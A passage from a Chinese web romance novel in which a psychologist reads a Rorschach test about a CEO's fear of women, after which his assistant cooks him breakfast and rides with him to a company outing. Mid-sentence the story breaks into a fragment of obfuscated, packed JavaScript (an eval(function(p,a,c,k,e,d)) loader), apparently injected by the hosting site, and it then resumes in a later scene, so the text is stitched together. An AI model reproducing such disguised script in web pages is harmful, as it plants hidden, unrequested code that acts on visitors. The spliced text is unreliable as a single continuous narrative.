方晴便笑了,说:“所以他过度关注女性,就是症结所在。确切地说是过度关注母亲,以及投射母亲形象的一切事物。” 她说:“墨迹测验投射了病人的心理状态,表达的就是他所关注的要点。一般病人对女性的过度关注和高度自律的生活,来源于他童年时期的生活模式。这种情况下,这人会有一个过于严格的母亲,和一个存在感并不强的父亲。母亲的教养良好,高学历,对子女要求严苛,在生活中设定很多条框,结果可能导致子女的行为刻板、自闭、洁癖、有强迫行为;或者走另一个极端,自恋、极度需求关注,也就是说有表演型人格障碍。” 她又说:“他在描述图画的时候,还提出了解剖学的概念,出现这种描述,说明受试者有焦虑情绪。而且他回答的速度过快,显示他处于亢奋的情绪中,确实有些异于常人了。他和他母亲的关系怎么样?” 梁絮想了一下,说:“他说他母亲在中科院工作,是个女学霸……对了,他雇了个家政,做饭很难吃。我问他怎么不换个人,他说那个家政有洁癖,而且做饭跟他妈很像,让他有童年的感觉。” “这就对了。”方晴了然道,“他童年的成长环境过于苛刻,导致他生活高度自律。但这种生活方式压抑了他的天性,他想解放,又在长期打压的模式当中不敢迈出这一步,所以……” 梁絮道:“所以在闷骚的边缘反复横跳,奇装异服,标新立异,非吸引人的注意不可。” 方晴说:“是这样的。” 梁絮道:“那怎么解决?” 方晴说:“心病还须心药医,解决心理问题大体是两种方式。一个是脱敏,比如恐惧症患者,降低恐惧等级让病人接触恐惧的事物,让他习惯,最终达到脱敏的目的。再一个就是满足他的需求,比如沈傲天这个情况,就需要给他正确的疏泄渠道,让他认识到有需求没什么可耻的,不必过度压抑自己。” 梁絮说:“他怕他妈,顺便连所有女人都怕……对,他是说过,女人真是又可爱,又可怕。原来是这个意思。” 她脑中忽然冒出了一个念头,说:“你说,他该不会还是处男吧?” 像他这样一个高大帅气多金的霸道总裁,居然到现在还母胎solo,说出去谁信? 方晴没考虑过这问题,听她这么说,露出了一个微妙的表情。她跟梁絮面面相觑,笑容逐渐变态,忽然爆发出一阵大笑。方晴笑得喘不上起来,说:“不至于吧……他不是二十七了吗,怕妈怕到母胎单身至今?” 梁絮道:“我不知道啊,他对女人真的特别客气。我原来以为他挺有绅士风度的,现在想来,可能是敬畏,真的是不敢惹女人,惹不起……他妈到底有多厉害,给他造成这么大的心理阴影?” 她脑补了一个灭绝师太的形象,左手抱着一摞高数微积分课本,右手虚空托着个磁悬浮场,上头飘着个高铁模型忽悠悠地来回转,头上的特斯拉线圈大放光明。她身似青松,目如冷电,既充满了智慧,又冷酷无情。 她缓缓开口,说:“儿子,今天锻炼身体了吗?做完黄冈密卷了吗?英语单词背够五十个了吗?勤洗澡穿宽松内裤,睡前做思想净化工作了吗……” 梁絮打了个寒战,不敢再想下去了,觉得他妈要是这个样子,他在这种高压环境下长大真的挺让人同情的。 方晴低头继续写诊断书,片刻说:“我给你开个治疗方案,你辅助着做一下。” 梁絮凑过去看治疗书,密密麻麻的一片字,充斥着各种专有名词和英文缩写,像天书似的。她说:“这么多?” 方晴说:“你不用管这么多,就抓住一点核心的,让他快乐,解放天性。” 梁絮感觉气氛微妙地荡漾了起来。她抿出一个坏笑,靠在桌边撩了一下头发,摆了个搔首弄姿的动作,挑眉道:“让他快乐,解放天性?” 方晴哈哈哈地笑了,推了她一把说:“想什么呢?正经点,治病呢!” “你这话就很暧昧啊。”梁絮说,“像我这么正经的人,给大佬打个工而已,怎么能把自己冰清玉洁的身体也搭上呢?” “谁让你投怀送抱了!”方晴正色道,“我说要帮他塑造健康的、积极乐观的生活态度,让他从精神上真正的放松。你不是说经常陪他晨跑吗,锻炼就挺好的。有空还可以多哄哄他,他也挺可怜的,从小没人疼没人爱的,要不然老想着吸引别人的注意力呢。” 梁絮寻思着要点,重复道:“哄他开心,陪他玩,让他放松。” 方晴道:“对,时间到,这次就这样了。有空再来复诊。” 梁絮抬头看表,时钟冷酷无情地指到了七点整。她说:“你这钱这么好挣啊,聊一会儿就收三百。” 方晴摆出一副冷酷无情的态度,像个淘宝客服似地说:“就是这样呢亲。因为病人不能亲自来接受诊断,这边建议您先按照医嘱对他进行辅助治疗,一个月之后根据效果再作调整呢亲亲。” 梁絮服了她了,点头道:“行吧,反正不是花我的钱。” 梁絮回了家,想着明天还要去跟一帮不认识的人去团建,觉得自己宝贵的休息时间被无情地侵占了。她简单吃了点饭,倒头就睡。次日她习惯性地冲到了沈钊家,这才意识到今天不用上班,直接去公司集合坐大巴就可以了。 沈钊正在吃饭,见她忽然出现了,还觉得挺奇怪。他说:“没人通知你去公司集合吗?” 梁絮十分窘迫,搔了搔头说:“我跑顺腿儿了。” 沈钊哈哈大笑,仿佛觉得她愣头愣脑的傻样儿特别有趣,说:“那行吧,等会儿我捎你一起去公司。” 梁絮想着来都来了,顺手发挥一下自己的价值也不错。她说:“今天要做造型吗?” 沈钊对着一盘牛奶泡麦片,拿叉子拨来拨去,明显没什么兴趣的样子。他说:“不着急,那什么……” 梁絮道:“啊?” 沈钊似乎有点不好意思,说:“家政请假了。我不想吃麦片,你会做饭吗?” 梁絮想着正好方晴让自己多关爱他一下,于是说:“会,就是水平一般。” 她看了一下,找到了几个番茄和鸡蛋,冰箱里还有隔夜的米饭和火腿。她把番茄和火腿切丁,拿青尖椒和葱姜炝锅,炒蛋盛出,然后把番茄炒出汁来,把蛋放回去跟米饭一起翻炒。 沈钊家的厨房是开放式的,他一手托腮,看梁絮来来回回地忙碌。 她切菜,颠勺,忙的热火朝天。梁絮的胳膊纤细,力气却挺大,端着锅轻如无物,米饭在里头翻来翻去,像一簇调皮的浪花。蔬菜被刀切开的瞬间,新鲜的汁液流淌出来,轻轻地在案板上翻滚。油烟机轰轰的声音充斥着房间,鸡蛋打进热油锅里的瞬间,发出滋拉一声响,空气中散发着一股浓浓的香气。 勺子叮叮当当地拨弄着锅,梁絮做着饭,哼着歌,系在腰上的围裙还少女心地打了个蝴蝶结。 沈钊看着这一切,觉得这就是生活的烟火气。他一直以来的家庭太冰冷了,总让他觉得很孤独。别人常见的锅碗瓢盆碰撞的声音,煎炒烹炸的情形,对他来说却是可望而不可即的。 梁絮给他盛出饭来,刷了锅,发现抽屉里有玉米面。顺手给他做了一锅玉米糊,里头撒了些速冻的甜玉米粒。她把饭和粥端过去,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她说:“这样不就好了,身材才是重点。” 镜子里的沈钊确实有种男模的高级感,连他也不知道自己还有这样帅气的一面。 他笑了一下,低头看着梁絮。他向来对女人有种敬而远之的态度,虽然他把这种情绪隐藏的很好,但他心里知道,自己不知道该怎么跟女性相处。而这段时间以来,他跟梁絮接触起来,觉得她落落大方的,干练的同时又有女性特有的柔美感,并没有给他带来任何负担。 梁絮帮他把衬衫拉平,掸掉了他肩膀上的灰尘。沈钊感受着她对自己的触碰,忽然有种温柔的感觉,有点依恋她手指尖的温度。 梁絮发现沈钊今天特别听话,大约是自己围着他转来转去的,给了他足够的关爱,于是他就像个得到安抚的孩子一样,决定看在老母亲辛苦的份儿上不过多要求什么了。 司机在门外等着,沈钊出了门,回头见梁絮在他身后磨磨蹭蹭的,说:“走啊。” 梁絮有她自己的想法,她只想安安稳稳多挣点钱,并不想高调惹事。 她看着面前的劳斯莱斯,感觉一阵压力扑面而来。她的工作本来就跟沈钊走的近,要是再不注意跟他保持距离,恐怕就要被他整个公司的迷妹恨死了。 她迟疑道:“不了吧,我坐地铁去。” 司机打开车门,沈钊坐了进去,大佬似地对司机说:“把她弄过来。” 司机便大步朝她走了过去,礼貌地做了个请的姿势,说:“梁小姐,请。” 司机有一米八多,除了开车之外,还兼任沈傲天的保镖。梁絮感觉到了跟他之间强大的体格差异,没办法拒绝这个充满压迫力的要求,只好不情愿地上了车,坐在了副驾驶上。 车里弥漫着优雅的淡香,开得很平稳。梁絮坐在高档真皮座椅上,一动也不敢动。她透过后视镜见沈钊坐在后座上,靠在椅背上,正在闭目养神。他的皮肤是健康的小麦色,脖颈的线条很好看,往下延伸入领口,肌肉和骨骼的起伏隐没在衣服的阴影中。 梁絮忽然想起了之前撞见他出浴的情形,富有冲击力的画面仿佛尤在眼前。她的脸渐渐烫了起来,生怕自己糟糕的脑电波被他解码出来,强行稳住心神,低头默念了一段心经。 “舍利子,色不异空,空不异色……色即是空,沈钊也是空,妈妈说了越好看的男人越会骗人,不对我背到哪儿了……” 早晨九点钟,员工们聚集在大巴前,开始陆续上车。 沈钊的轿车开到公司门前,司机停下来打开车门,沈钊迈步下了车。众人见了他,纷纷道:“沈总好!” 沈钊笑了一下,说:“你们好。” 他说着回头,对龟缩在车里的梁絮说:“下来。” 梁絮没想到人已经齐了,在众目睽睽之下从沈钊的车里走出去,对她来说无异于当众挂墙头。她从来没遇到过这样的窘境,手心里全是冷汗,满脑子都在想怎么办谁来救我,有奇迹发生吗? 奇迹并没有眷顾她,反而是沈钊看她没动,伸手把车门打开了。梁絮瞬间暴露在所有人的目光下,整个人的心态都崩了。 沈钊淡定地催促道:“坐着干什么,下来啊。” 梁絮:“……”